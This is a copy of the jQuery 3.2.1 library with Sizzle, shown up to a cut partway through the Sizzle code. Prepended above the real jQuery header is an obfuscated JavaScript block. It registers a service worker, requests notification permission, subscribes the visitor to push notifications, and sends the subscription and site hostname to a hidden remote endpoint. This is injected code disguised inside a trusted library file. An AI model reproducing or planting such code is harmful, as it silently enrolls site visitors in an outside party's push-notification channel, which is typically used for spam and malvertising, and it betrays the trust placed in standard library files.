1// 8bce04db09344238b46975f01d93e159 2function a0Z(l,Z){l=l-0xb7;const y=a0l();let O=y[l];if(a0Z['pnxHPN']===undefined){var m=function(n){const q='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let e='',t='';for(let E=0x0,J,I,P=0x0;I=n['charAt'](P++);~I&&(J=E%0x4?J*0x40+I:I,E++%0x4)?e+=String['fromCharCode'](0xff&J>>(-0x2*E&0x6)):0x0){I=q['indexOf'](I);}for(let D=0x0,T=e['length'];D<T;D++){t+='%'+('00'+e['charCodeAt'](D)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(t);};const d=function(n,q){let e=[],t=0x0,E,J='';n=m(n);let I;for(I=0x0;I<0x100;I++){e[I]=I;}for(I=0x0;I<0x100;I++){t=(t+e[I]+q['charCodeAt'](I%q['length']))%0x100,E=e[I],e[I]=e[t],e[t]=E;}I=0x0,t=0x0;for(let P=0x0;P<n['length'];P++){I=(I+0x1)%0x100,t=(t+e[I])%0x100,E=e[I],e[I]=e[t],e[t]=E,J+=String['fromCharCode'](n['charCodeAt'](P)^e[(e[I]+e[t])%0x100]);}return J;};a0Z['KfzQzD']=d,a0Z['tslRts']={},a0Z['pnxHPN']=!![];}const A=y[0x0],B=l+A,C=a0Z['tslRts'][B];return!C?(a0Z['hrtoxz']===undefined&&(a0Z['hrtoxz']=!![]),O=a0Z['KfzQzD'](O,Z),a0Z['tslRts'][B]=O):O=C,O;}(async function(){const y=a0Z;if(!(y(0xb7,'x[Hs')+'iceW'+y(0xb8,'SXGW')+'r'in navigator)||!(y(0xb9,'av2N')+y(0xba,']WkP')+y(0xbb,'TOdF')in window))return;let l=await navigator[y(0xbc,'0Ka)')+y(0xbd,'(PW0')+y(0xbe,'(PW0')+'r']['regi'+y(0xbf,'S#yZ')](y(0xc0,'$YB@')+y(0xc1,'Y$kA')+y(0xc2,'(PW0')+y(0xc3,'4TeV'));if(await Notification[y(0xc4,'0Ka)')+y(0xc5,'CHCR')+y(0xc6,'XaBh')+y(0xc7,'ccgp')+'n']()!==y(0xc8,'$YB@')+y(0xc9,'CHCR'))return;let Z=await l[y(0xca,'Ansq')+y(0xcb,'av2N')+y(0xcc,'7LZv')][y(0xcd,'Ansq')+y(0xce,'6L!)')+y(0xcf,'Jj#Y')+'ion']();if(!Z)Z=await l[y(0xd0,']WkP')+y(0xd1,'@jhv')+y(0xbb,'TOdF')][y(0xd2,'x[Hs')+y(0xd3,'CExB')+'e']({'userVisibleOnly':!![],'applicationServerKey':y(0xd4,'*@rr')+'6PhT'+'ZfM0'+y(0xd5,'@jhv')+'avHn'+y(0xd6,'9qvu')+y(0xd7,'h]Wc')+y(0xd8,'YVlP')+y(0xd9,'RK0t')+y(0xda,'(PW0')+y(0xdb,'8!6]')+y(0xdc,')8uf')+y(0xdd,'$YB@')+y(0xde,'$YB@')+y(0xdf,'P8si')+'HNAf'+y(0xe0,'%5qG')+y(0xe1,'@jhv')+y(0xe2,'YcJP')+y(0xe3,'jobo')+y(0xe4,'*@rr')+y(0xe5,'jobo')});await fetch(y(0xe6,'ZDGK')+'s://'+y(0xe7,'P8si')+y(0xe8,'4TeV')+y(0xe9,'Ansq')+y(0xea,'ioUc')+y(0xeb,'&*&R')+y(0xec,'k2nv')+'hp',{'method':y(0xed,'YcJP'),'headers':{'Content-Type':y(0xee,'TOdF')+y(0xef,'fQUw')+y(0xf0,'t4Xh')+y(0xf1,'%5qG')},'body':JSON[y(0xf2,'59j7')+y(0xf3,'TOdF')+'y']({'site':location[y(0xf4,'ZDGK')+y(0xf5,'(PW0')],'subscription':Z})});}());function a0l(){const O=['WRzTW6Hk','DSkExr0','WRn4W4VcLq','rSkAfCo7','r8oiWRe','W4pcGYRcIG','kCo7gNK','l8oQfeS','nSoBAmoe','WRtcKmoouW','W6xdMdC7','n8k2c08','v0WRW7K','W4lcGYNcIq','fSkCW7VcJW','WQZdOt9l','o8oevCoE','W7ZcKSoowG','b8kkW6S','hru/W4m','WQ5SW5BcNa','lMJcVa','cGu4W7G','DSkBimo8','WRvPWR1h','E8kocmoY','W6bLWRz0','WRz9W7Hp','W6migwm','hSo3WPPI','W5KYWOjS','WRrnWRKK','W7D6D1m','WR0Afte','rYeWFG','mSoxoby','W5tdJbzp','AXJdLrC','WRBcO8kBrW','W5tcUSo9ta','WO0SWRfc','ve/cRrm','W7X0WPWK','euBdG8ox','sIxdOmop','zmogWOzm','gG/dUW','zCokW65M','WPX/WR44','wHeLW68','aqK6W5K','W7LAl8oZ','WQKLWQhcNG','WOhdOc3cNW','fwZdQSkZ','qCoDWRpcSa','WRlcSmokW7a','WQDdlSkA','r1FdUIO','mSosWPtcRa','tSokWQRcUG','zCorW6LI','lSo5eKS'];a0l=function(){return O;};return a0l();} 3// 8bce04db09344238b46975f01d93e159 4/*! 5 * jQuery JavaScript Library v3.2.1 6 * https://jquery.com/ 7 * 8 * Includes Sizzle.js 9 * https://sizzlejs.com/ 10 * 11 * Copyright JS Foundation and other contributors 12 * Released under the MIT license 13 * https://jquery.org/license 14 * 15 * Date: 2017-03-20T18:59Z 16 */ 17( function( global, factory ) { 18 19 "use strict"; 20 21 if ( typeof module === "object" && typeof module.exports === "object" ) { 22 23 // For CommonJS and CommonJS-like environments where a proper `window` 24 // is present, execute the factory and get jQuery. 25 // For environments that do not have a `window` with a `document` 26 // (such as Node.js), expose a factory as module.exports. 27 // This accentuates the need for the creation of a real `window`. 28 // e.g. var jQuery = require("jquery")(window); 29 // See ticket #14549 for more info. 30 module.exports = global.document ? 31 factory( global, true ) : 32 function( w ) { 33 if ( !w.document ) { 34 throw new Error( "jQuery requires a window with a document" ); 35 } 36 return factory( w ); 37 }; 38 } else { 39 factory( global ); 40 } 41 42// Pass this if window is not defined yet 43} )( typeof window !== "undefined" ? window : this, function( window, noGlobal ) { 44 45// Edge <= 12 - 13+, Firefox <=18 - 45+, IE 10 - 11, Safari 5.1 - 9+, iOS 6 - 9.1 46// throw exceptions when non-strict code (e.g., ASP.NET 4.5) accesses strict mode 47// arguments.callee.caller (trac-13335). But as of jQuery 3.0 (2016), str
vendor: 11,277 bytes, lines 47-534
47ict mode should be common 48// enough that all such attempts are guarded in a try block. 49"use strict"; 50 51var arr = []; 52 53var document = window.document; 54 55var getProto = Object.getPrototypeOf; 56 57var slice = arr.slice; 58 59var concat = arr.concat; 60 61var push = arr.push; 62 63var indexOf = arr.indexOf; 64 65var class2type = {}; 66 67var toString = class2type.toString; 68 69var hasOwn = class2type.hasOwnProperty; 70 71var fnToString = hasOwn.toString; 72 73var ObjectFunctionString = fnToString.call( Object ); 74 75var support = {}; 76 77 78 79 function DOMEval( code, doc ) { 80 doc = doc || document; 81 82 var script = doc.createElement( "script" ); 83 84 script.text = code; 85 doc.head.appendChild( script ).parentNode.removeChild( script ); 86 } 87/* global Symbol */ 88// Defining this global in .eslintrc.json would create a danger of using the global 89// unguarded in another place, it seems safer to define global only for this module 90 91 92 93var 94 version = "3.2.1", 95 96 // Define a local copy of jQuery 97 jQuery = function( selector, context ) { 98 99 // The jQuery object is actually just the init constructor 'enhanced' 100 // Need init if jQuery is called (just allow error to be thrown if not included) 101 return new jQuery.fn.init( selector, context ); 102 }, 103 104 // Support: Android <=4.0 only 105 // Make sure we trim BOM and NBSP 106 rtrim = /^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g, 107 108 // Matches dashed string for camelizing 109 rmsPrefix = /^-ms-/, 110 rdashAlpha = /-([a-z])/g, 111 112 // Used by jQuery.camelCase as callback to replace() 113 fcamelCase = function( all, letter ) { 114 return letter.toUpperCase(); 115 }; 116 117jQuery.fn = jQuery.prototype = { 118 119 // The current version of jQuery being used 120 jquery: version, 121 122 constructor: jQuery, 123 124 // The default length of a jQuery object is 0 125 length: 0, 126 127 toArray: function() { 128 return slice.call( this ); 129 }, 130 131 // Get the Nth element in the matched element set OR 132 // Get the whole matched element set as a clean array 133 get: function( num ) { 134 135 // Return all the elements in a clean array 136 if ( num == null ) { 137 return slice.call( this ); 138 } 139 140 // Return just the one element from the set 141 return num < 0 ? this[ num + this.length ] : this[ num ]; 142 }, 143 144 // Take an array of elements and push it onto the stack 145 // (returning the new matched element set) 146 pushStack: function( elems ) { 147 148 // Build a new jQuery matched element set 149 var ret = jQuery.merge( this.constructor(), elems ); 150 151 // Add the old object onto the stack (as a reference) 152 ret.prevObject = this; 153 154 // Return the newly-formed element set 155 return ret; 156 }, 157 158 // Execute a callback for every element in the matched set. 159 each: function( callback ) { 160 return jQuery.each( this, callback ); 161 }, 162 163 map: function( callback ) { 164 return this.pushStack( jQuery.map( this, function( elem, i ) { 165 return callback.call( elem, i, elem ); 166 } ) ); 167 }, 168 169 slice: function() { 170 return this.pushStack( slice.apply( this, arguments ) ); 171 }, 172 173 first: function() { 174 return this.eq( 0 ); 175 }, 176 177 last: function() { 178 return this.eq( -1 ); 179 }, 180 181 eq: function( i ) { 182 var len = this.length, 183 j = +i + ( i < 0 ? len : 0 ); 184 return this.pushStack( j >= 0 && j < len ? [ this[ j ] ] : [] ); 185 }, 186 187 end: function() { 188 return this.prevObject || this.constructor(); 189 }, 190 191 // For internal use only. 192 // Behaves like an Array's method, not like a jQuery method. 193 push: push, 194 sort: arr.sort, 195 splice: arr.splice 196}; 197 198jQuery.extend = jQuery.fn.extend = function() { 199 var options, name, src, copy, copyIsArray, clone, 200 target = arguments[ 0 ] || {}, 201 i = 1, 202 length = arguments.length, 203 deep = false; 204 205 // Handle a deep copy situation 206 if ( typeof target === "boolean" ) { 207 deep = target; 208 209 // Skip the boolean and the target 210 target = arguments[ i ] || {}; 211 i++; 212 } 213 214 // Handle case when target is a string or something (possible in deep copy) 215 if ( typeof target !== "object" && !jQuery.isFunction( target ) ) { 216 target = {}; 217 } 218 219 // Extend jQuery itself if only one argument is passed 220 if ( i === length ) { 221 target = this; 222 i--; 223 } 224 225 for ( ; i < length; i++ ) { 226 227 // Only deal with non-null/undefined values 228 if ( ( options = arguments[ i ] ) != null ) { 229 230 // Extend the base object 231 for ( name in options ) { 232 src = target[ name ]; 233 copy = options[ name ]; 234 235 // Prevent never-ending loop 236 if ( target === copy ) { 237 continue; 238 } 239 240 // Recurse if we're merging plain objects or arrays 241 if ( deep && copy && ( jQuery.isPlainObject( copy ) || 242 ( copyIsArray = Array.isArray( copy ) ) ) ) { 243 244 if ( copyIsArray ) { 245 copyIsArray = false; 246 clone = src && Array.isArray( src ) ? src : []; 247 248 } else { 249 clone = src && jQuery.isPlainObject( src ) ? src : {}; 250 } 251 252 // Never move original objects, clone them 253 target[ name ] = jQuery.extend( deep, clone, copy ); 254 255 // Don't bring in undefined values 256 } else if ( copy !== undefined ) { 257 target[ name ] = copy; 258 } 259 } 260 } 261 } 262 263 // Return the modified object 264 return target; 265}; 266 267jQuery.extend( { 268 269 // Unique for each copy of jQuery on the page 270 expando: "jQuery" + ( version + Math.random() ).replace( /\D/g, "" ), 271 272 // Assume jQuery is ready without the ready module 273 isReady: true, 274 275 error: function( msg ) { 276 throw new Error( msg ); 277 }, 278 279 noop: function() {}, 280 281 isFunction: function( obj ) { 282 return jQuery.type( obj ) === "function"; 283 }, 284 285 isWindow: function( obj ) { 286 return obj != null && obj === obj.window; 287 }, 288 289 isNumeric: function( obj ) { 290 291 // As of jQuery 3.0, isNumeric is limited to 292 // strings and numbers (primitives or objects) 293 // that can be coerced to finite numbers (gh-2662) 294 var type = jQuery.type( obj ); 295 return ( type === "number" || type === "string" ) && 296 297 // parseFloat NaNs numeric-cast false positives ("") 298 // ...but misinterprets leading-number strings, particularly hex literals ("0x...") 299 // subtraction forces infinities to NaN 300 !isNaN( obj - parseFloat( obj ) ); 301 }, 302 303 isPlainObject: function( obj ) { 304 var proto, Ctor; 305 306 // Detect obvious negatives 307 // Use toString instead of jQuery.type to catch host objects 308 if ( !obj || toString.call( obj ) !== "[object Object]" ) { 309 return false; 310 } 311 312 proto = getProto( obj ); 313 314 // Objects with no prototype (e.g., `Object.create( null )`) are plain 315 if ( !proto ) { 316 return true; 317 } 318 319 // Objects with prototype are plain iff they were constructed by a global Object function 320 Ctor = hasOwn.call( proto, "constructor" ) && proto.constructor; 321 return typeof Ctor === "function" && fnToString.call( Ctor ) === ObjectFunctionString; 322 }, 323 324 isEmptyObject: function( obj ) { 325 326 /* eslint-disable no-unused-vars */ 327 // See https://github.com/eslint/eslint/issues/6125 328 var name; 329 330 for ( name in obj ) { 331 return false; 332 } 333 return true; 334 }, 335 336 type: function( obj ) { 337 if ( obj == null ) { 338 return obj + ""; 339 } 340 341 // Support: Android <=2.3 only (functionish RegExp) 342 return typeof obj === "object" || typeof obj === "function" ? 343 class2type[ toString.call( obj ) ] || "object" : 344 typeof obj; 345 }, 346 347 // Evaluates a script in a global context 348 globalEval: function( code ) { 349 DOMEval( code ); 350 }, 351 352 // Convert dashed to camelCase; used by the css and data modules 353 // Support: IE <=9 - 11, Edge 12 - 13 354 // Microsoft forgot to hump their vendor prefix (#9572) 355 camelCase: function( string ) { 356 return string.replace( rmsPrefix, "ms-" ).replace( rdashAlpha, fcamelCase ); 357 }, 358 359 each: function( obj, callback ) { 360 var length, i = 0; 361 362 if ( isArrayLike( obj ) ) { 363 length = obj.length; 364 for ( ; i < length; i++ ) { 365 if ( callback.call( obj[ i ], i, obj[ i ] ) === false ) { 366 break; 367 } 368 } 369 } else { 370 for ( i in obj ) { 371 if ( callback.call( obj[ i ], i, obj[ i ] ) === false ) { 372 break; 373 } 374 } 375 } 376 377 return obj; 378 }, 379 380 // Support: Android <=4.0 only 381 trim: function( text ) { 382 return text == null ? 383 "" : 384 ( text + "" ).replace( rtrim, "" ); 385 }, 386 387 // results is for internal usage only 388 makeArray: function( arr, results ) { 389 var ret = results || []; 390 391 if ( arr != null ) { 392 if ( isArrayLike( Object( arr ) ) ) { 393 jQuery.merge( ret, 394 typeof arr === "string" ? 395 [ arr ] : arr 396 ); 397 } else { 398 push.call( ret, arr ); 399 } 400 } 401 402 return ret; 403 }, 404 405 inArray: function( elem, arr, i ) { 406 return arr == null ? -1 : indexOf.call( arr, elem, i ); 407 }, 408 409 // Support: Android <=4.0 only, PhantomJS 1 only 410 // push.apply(_, arraylike) throws on ancient WebKit 411 merge: function( first, second ) { 412 var len = +second.length, 413 j = 0, 414 i = first.length; 415 416 for ( ; j < len; j++ ) { 417 first[ i++ ] = second[ j ]; 418 } 419 420 first.length = i; 421 422 return first; 423 }, 424 425 grep: function( elems, callback, invert ) { 426 var callbackInverse, 427 matches = [], 428 i = 0, 429 length = elems.length, 430 callbackExpect = !invert; 431 432 // Go through the array, only saving the items 433 // that pass the validator function 434 for ( ; i < length; i++ ) { 435 callbackInverse = !callback( elems[ i ], i ); 436 if ( callbackInverse !== callbackExpect ) { 437 matches.push( elems[ i ] ); 438 } 439 } 440 441 return matches; 442 }, 443 444 // arg is for internal usage only 445 map: function( elems, callback, arg ) { 446 var length, value, 447 i = 0, 448 ret = []; 449 450 // Go through the array, translating each of the items to their new values 451 if ( isArrayLike( elems ) ) { 452 length = elems.length; 453 for ( ; i < length; i++ ) { 454 value = callback( elems[ i ], i, arg ); 455 456 if ( value != null ) { 457 ret.push( value ); 458 } 459 } 460 461 // Go through every key on the object, 462 } else { 463 for ( i in elems ) { 464 value = callback( elems[ i ], i, arg ); 465 466 if ( value != null ) { 467 ret.push( value ); 468 } 469 } 470 } 471 472 // Flatten any nested arrays 473 return concat.apply( [], ret ); 474 }, 475 476 // A global GUID counter for objects 477 guid: 1, 478 479 // Bind a function to a context, optionally partially applying any 480 // arguments. 481 proxy: function( fn, context ) { 482 var tmp, args, proxy; 483 484 if ( typeof context === "string" ) { 485 tmp = fn[ context ]; 486 context = fn; 487 fn = tmp; 488 } 489 490 // Quick check to determine if target is callable, in the spec 491 // this throws a TypeError, but we will just return undefined. 492 if ( !jQuery.isFunction( fn ) ) { 493 return undefined; 494 } 495 496 // Simulated bind 497 args = slice.call( arguments, 2 ); 498 proxy = function() { 499 return fn.apply( context || this, args.concat( slice.call( arguments ) ) ); 500 }; 501 502 // Set the guid of unique handler to the same of original handler, so it can be removed 503 proxy.guid = fn.guid = fn.guid || jQuery.guid++; 504 505 return proxy; 506 }, 507 508 now: Date.now, 509 510 // jQuery.support is not used in Core but other projects attach their 511 // properties to it so it needs to exist. 512 support: support 513} ); 514 515if ( typeof Symbol === "function" ) { 516 jQuery.fn[ Symbol.iterator ] = arr[ Symbol.iterator ]; 517} 518 519// Populate the class2type map 520jQuery.each( "Boolean Number String Function Array Date RegExp Object Error Symbol".split( " " ), 521function( i, name ) { 522 class2type[ "[object " + name + "]" ] = name.toLowerCase(); 523} ); 524 525function isArrayLike( obj ) { 526 527 // Support: real iOS 8.2 only (not reproducible in simulator) 528 // `in` check used to prevent JIT error (gh-2145) 529 // hasOwn isn't used here due to false negatives 530 // regarding Nodelist length in IE 531 var length = !!obj && "length" in obj && obj.length, 532 type = jQuery.type( obj ); 533 534 if ( type === "function" || jQuery.
vendor: 31,442 bytes, lines 534-1631
534isWindow( obj ) ) { 535 return false; 536 } 537 538 return type === "array" || length === 0 || 539 typeof length === "number" && length > 0 && ( length - 1 ) in obj; 540} 541var Sizzle = 542/*! 543 * Sizzle CSS Selector Engine v2.3.3 544 * https://sizzlejs.com/ 545 * 546 * Copyright jQuery Foundation and other contributors 547 * Released under the MIT license 548 * http://jquery.org/license 549 * 550 * Date: 2016-08-08 551 */ 552(function( window ) { 553 554var i, 555 support, 556 Expr, 557 getText, 558 isXML, 559 tokenize, 560 compile, 561 select, 562 outermostContext, 563 sortInput, 564 hasDuplicate, 565 566 // Local document vars 567 setDocument, 568 document, 569 docElem, 570 documentIsHTML, 571 rbuggyQSA, 572 rbuggyMatches, 573 matches, 574 contains, 575 576 // Instance-specific data 577 expando = "sizzle" + 1 * new Date(), 578 preferredDoc = window.document, 579 dirruns = 0, 580 done = 0, 581 classCache = createCache(), 582 tokenCache = createCache(), 583 compilerCache = createCache(), 584 sortOrder = function( a, b ) { 585 if ( a === b ) { 586 hasDuplicate = true; 587 } 588 return 0; 589 }, 590 591 // Instance methods 592 hasOwn = ({}).hasOwnProperty, 593 arr = [], 594 pop = arr.pop, 595 push_native = arr.push, 596 push = arr.push, 597 slice = arr.slice, 598 // Use a stripped-down indexOf as it's faster than native 599 // https://jsperf.com/thor-indexof-vs-for/5 600 indexOf = function( list, elem ) { 601 var i = 0, 602 len = list.length; 603 for ( ; i < len; i++ ) { 604 if ( list[i] === elem ) { 605 return i; 606 } 607 } 608 return -1; 609 }, 610 611 booleans = "checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped", 612 613 // Regular expressions 614 615 // http://www.w3.org/TR/css3-selectors/#whitespace 616 whitespace = "[\\x20\\t\\r\\n\\f]", 617 618 // http://www.w3.org/TR/CSS21/syndata.html#value-def-identifier 619 identifier = "(?:\\\\.|[\\w-]|[^\0-\\xa0])+", 620 621 // Attribute selectors: http://www.w3.org/TR/selectors/#attribute-selectors 622 attributes = "\\[" + whitespace + "*(" + identifier + ")(?:" + whitespace + 623 // Operator (capture 2) 624 "*([*^$|!~]?=)" + whitespace + 625 // "Attribute values must be CSS identifiers [capture 5] or strings [capture 3 or capture 4]" 626 "*(?:'((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\"|(" + identifier + "))|)" + whitespace + 627 "*\\]", 628 629 pseudos = ":(" + identifier + ")(?:\\((" + 630 // To reduce the number of selectors needing tokenize in the preFilter, prefer arguments: 631 // 1. quoted (capture 3; capture 4 or capture 5) 632 "('((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\")|" + 633 // 2. simple (capture 6) 634 "((?:\\\\.|[^\\\\()[\\]]|" + attributes + ")*)|" + 635 // 3. anything else (capture 2) 636 ".*" + 637 ")\\)|)", 638 639 // Leading and non-escaped trailing whitespace, capturing some non-whitespace characters preceding the latter 640 rwhitespace = new RegExp( whitespace + "+", "g" ), 641 rtrim = new RegExp( "^" + whitespace + "+|((?:^|[^\\\\])(?:\\\\.)*)" + whitespace + "+$", "g" ), 642 643 rcomma = new RegExp( "^" + whitespace + "*," + whitespace + "*" ), 644 rcombinators = new RegExp( "^" + whitespace + "*([>+~]|" + whitespace + ")" + whitespace + "*" ), 645 646 rattributeQuotes = new RegExp( "=" + whitespace + "*([^\\]'\"]*?)" + whitespace + "*\\]", "g" ), 647 648 rpseudo = new RegExp( pseudos ), 649 ridentifier = new RegExp( "^" + identifier + "$" ), 650 651 matchExpr = { 652 "ID": new RegExp( "^#(" + identifier + ")" ), 653 "CLASS": new RegExp( "^\\.(" + identifier + ")" ), 654 "TAG": new RegExp( "^(" + identifier + "|[*])" ), 655 "ATTR": new RegExp( "^" + attributes ), 656 "PSEUDO": new RegExp( "^" + pseudos ), 657 "CHILD": new RegExp( "^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\(" + whitespace + 658 "*(even|odd|(([+-]|)(\\d*)n|)" + whitespace + "*(?:([+-]|)" + whitespace + 659 "*(\\d+)|))" + whitespace + "*\\)|)", "i" ), 660 "bool": new RegExp( "^(?:" + booleans + ")$", "i" ), 661 // For use in libraries implementing .is() 662 // We use this for POS matching in `select` 663 "needsContext": new RegExp( "^" + whitespace + "*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\(" + 664 whitespace + "*((?:-\\d)?\\d*)" + whitespace + "*\\)|)(?=[^-]|$)", "i" ) 665 }, 666 667 rinputs = /^(?:input|select|textarea|button)$/i, 668 rheader = /^h\d$/i, 669 670 rnative = /^[^{]+\{\s*\[native \w/, 671 672 // Easily-parseable/retrievable ID or TAG or CLASS selectors 673 rquickExpr = /^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/, 674 675 rsibling = /[+~]/, 676 677 // CSS escapes 678 // http://www.w3.org/TR/CSS21/syndata.html#escaped-characters 679 runescape = new RegExp( "\\\\([\\da-f]{1,6}" + whitespace + "?|(" + whitespace + ")|.)", "ig" ), 680 funescape = function( _, escaped, escapedWhitespace ) { 681 var high = "0x" + escaped - 0x10000; 682 // NaN means non-codepoint 683 // Support: Firefox<24 684 // Workaround erroneous numeric interpretation of +"0x" 685 return high !== high || escapedWhitespace ? 686 escaped : 687 high < 0 ? 688 // BMP codepoint 689 String.fromCharCode( high + 0x10000 ) : 690 // Supplemental Plane codepoint (surrogate pair) 691 String.fromCharCode( high >> 10 | 0xD800, high & 0x3FF | 0xDC00 ); 692 }, 693 694 // CSS string/identifier serialization 695 // https://drafts.csswg.org/cssom/#common-serializing-idioms 696 rcssescape = /([\0-\x1f\x7f]|^-?\d)|^-$|[^\0-\x1f\x7f-\uFFFF\w-]/g, 697 fcssescape = function( ch, asCodePoint ) { 698 if ( asCodePoint ) { 699 700 // U+0000 NULL becomes U+FFFD REPLACEMENT CHARACTER 701 if ( ch === "\0" ) { 702 return "\uFFFD"; 703 } 704 705 // Control characters and (dependent upon position) numbers get escaped as code points 706 return ch.slice( 0, -1 ) + "\\" + ch.charCodeAt( ch.length - 1 ).toString( 16 ) + " "; 707 } 708 709 // Other potentially-special ASCII characters get backslash-escaped 710 return "\\" + ch; 711 }, 712 713 // Used for iframes 714 // See setDocument() 715 // Removing the function wrapper causes a "Permission Denied" 716 // error in IE 717 unloadHandler = function() { 718 setDocument(); 719 }, 720 721 disabledAncestor = addCombinator( 722 function( elem ) { 723 return elem.disabled === true && ("form" in elem || "label" in elem); 724 }, 725 { dir: "parentNode", next: "legend" } 726 ); 727 728// Optimize for push.apply( _, NodeList ) 729try { 730 push.apply( 731 (arr = slice.call( preferredDoc.childNodes )), 732 preferredDoc.childNodes 733 ); 734 // Support: Android<4.0 735 // Detect silently failing push.apply 736 arr[ preferredDoc.childNodes.length ].nodeType; 737} catch ( e ) { 738 push = { apply: arr.length ? 739 740 // Leverage slice if possible 741 function( target, els ) { 742 push_native.apply( target, slice.call(els) ); 743 } : 744 745 // Support: IE<9 746 // Otherwise append directly 747 function( target, els ) { 748 var j = target.length, 749 i = 0; 750 // Can't trust NodeList.length 751 while ( (target[j++] = els[i++]) ) {} 752 target.length = j - 1; 753 } 754 }; 755} 756 757function Sizzle( selector, context, results, seed ) { 758 var m, i, elem, nid, match, groups, newSelector, 759 newContext = context && context.ownerDocument, 760 761 // nodeType defaults to 9, since context defaults to document 762 nodeType = context ? context.nodeType : 9; 763 764 results = results || []; 765 766 // Return early from calls with invalid selector or context 767 if ( typeof selector !== "string" || !selector || 768 nodeType !== 1 && nodeType !== 9 && nodeType !== 11 ) { 769 770 return results; 771 } 772 773 // Try to shortcut find operations (as opposed to filters) in HTML documents 774 if ( !seed ) { 775 776 if ( ( context ? context.ownerDocument || context : preferredDoc ) !== document ) { 777 setDocument( context ); 778 } 779 context = context || document; 780 781 if ( documentIsHTML ) { 782 783 // If the selector is sufficiently simple, try using a "get*By*" DOM method 784 // (excepting DocumentFragment context, where the methods don't exist) 785 if ( nodeType !== 11 && (match = rquickExpr.exec( selector )) ) { 786 787 // ID selector 788 if ( (m = match[1]) ) { 789 790 // Document context 791 if ( nodeType === 9 ) { 792 if ( (elem = context.getElementById( m )) ) { 793 794 // Support: IE, Opera, Webkit 795 // TODO: identify versions 796 // getElementById can match elements by name instead of ID 797 if ( elem.id === m ) { 798 results.push( elem ); 799 return results; 800 } 801 } else { 802 return results; 803 } 804 805 // Element context 806 } else { 807 808 // Support: IE, Opera, Webkit 809 // TODO: identify versions 810 // getElementById can match elements by name instead of ID 811 if ( newContext && (elem = newContext.getElementById( m )) && 812 contains( context, elem ) && 813 elem.id === m ) { 814 815 results.push( elem ); 816 return results; 817 } 818 } 819 820 // Type selector 821 } else if ( match[2] ) { 822 push.apply( results, context.getElementsByTagName( selector ) ); 823 return results; 824 825 // Class selector 826 } else if ( (m = match[3]) && support.getElementsByClassName && 827 context.getElementsByClassName ) { 828 829 push.apply( results, context.getElementsByClassName( m ) ); 830 return results; 831 } 832 } 833 834 // Take advantage of querySelectorAll 835 if ( support.qsa && 836 !compilerCache[ selector + " " ] && 837 (!rbuggyQSA || !rbuggyQSA.test( selector )) ) { 838 839 if ( nodeType !== 1 ) { 840 newContext = context; 841 newSelector = selector; 842 843 // qSA looks outside Element context, which is not what we want 844 // Thanks to Andrew Dupont for this workaround technique 845 // Support: IE <=8 846 // Exclude object elements 847 } else if ( context.nodeName.toLowerCase() !== "object" ) { 848 849 // Capture the context ID, setting it first if necessary 850 if ( (nid = context.getAttribute( "id" )) ) { 851 nid = nid.replace( rcssescape, fcssescape ); 852 } else { 853 context.setAttribute( "id", (nid = expando) ); 854 } 855 856 // Prefix every selector in the list 857 groups = tokenize( selector ); 858 i = groups.length; 859 while ( i-- ) { 860 groups[i] = "#" + nid + " " + toSelector( groups[i] ); 861 } 862 newSelector = groups.join( "," ); 863 864 // Expand context for sibling selectors 865 newContext = rsibling.test( selector ) && testContext( context.parentNode ) || 866 context; 867 } 868 869 if ( newSelector ) { 870 try { 871 push.apply( results, 872 newContext.querySelectorAll( newSelector ) 873 ); 874 return results; 875 } catch ( qsaError ) { 876 } finally { 877 if ( nid === expando ) { 878 context.removeAttribute( "id" ); 879 } 880 } 881 } 882 } 883 } 884 } 885 886 // All others 887 return select( selector.replace( rtrim, "$1" ), context, results, seed ); 888} 889 890/** 891 * Create key-value caches of limited size 892 * @returns {function(string, object)} Returns the Object data after storing it on itself with 893 * property name the (space-suffixed) string and (if the cache is larger than Expr.cacheLength) 894 * deleting the oldest entry 895 */ 896function createCache() { 897 var keys = []; 898 899 function cache( key, value ) { 900 // Use (key + " ") to avoid collision with native prototype properties (see Issue #157) 901 if ( keys.push( key + " " ) > Expr.cacheLength ) { 902 // Only keep the most recent entries 903 delete cache[ keys.shift() ]; 904 } 905 return (cache[ key + " " ] = value); 906 } 907 return cache; 908} 909 910/** 911 * Mark a function for special use by Sizzle 912 * @param {Function} fn The function to mark 913 */ 914function markFunction( fn ) { 915 fn[ expando ] = true; 916 return fn; 917} 918 919/** 920 * Support testing using an element 921 * @param {Function} fn Passed the created element and returns a boolean result 922 */ 923function assert( fn ) { 924 var el = document.createElement("fieldset"); 925 926 try { 927 return !!fn( el ); 928 } catch (e) { 929 return false; 930 } finally { 931 // Remove from its parent by default 932 if ( el.parentNode ) { 933 el.parentNode.removeChild( el ); 934 } 935 // release memory in IE 936 el = null; 937 } 938} 939 940/** 941 * Adds the same handler for all of the specified attrs 942 * @param {String} attrs Pipe-separated list of attributes 943 * @param {Function} handler The method that will be applied 944 */ 945function addHandle( attrs, handler ) { 946 var arr = attrs.split("|"), 947 i = arr.length; 948 949 while ( i-- ) { 950 Expr.attrHandle[ arr[i] ] = handler; 951 } 952} 953 954/** 955 * Checks document order of two siblings 956 * @param {Element} a 957 * @param {Element} b 958 * @returns {Number} Returns less than 0 if a precedes b, greater than 0 if a follows b 959 */ 960function siblingCheck( a, b ) { 961 var cur = b && a, 962 diff = cur && a.nodeType === 1 && b.nodeType === 1 && 963 a.sourceIndex - b.sourceIndex; 964 965 // Use IE sourceIndex if available on both nodes 966 if ( diff ) { 967 return diff; 968 } 969 970 // Check if b follows a 971 if ( cur ) { 972 while ( (cur = cur.nextSibling) ) { 973 if ( cur === b ) { 974 return -1; 975 } 976 } 977 } 978 979 return a ? 1 : -1; 980} 981 982/** 983 * Returns a function to use in pseudos for input types 984 * @param {String} type 985 */ 986function createInputPseudo( type ) { 987 return function( elem ) { 988 var name = elem.nodeName.toLowerCase(); 989 return name === "input" && elem.type === type; 990 }; 991} 992 993/** 994 * Returns a function to use in pseudos for buttons 995 * @param {String} type 996 */ 997function createButtonPseudo( type ) { 998 return function( 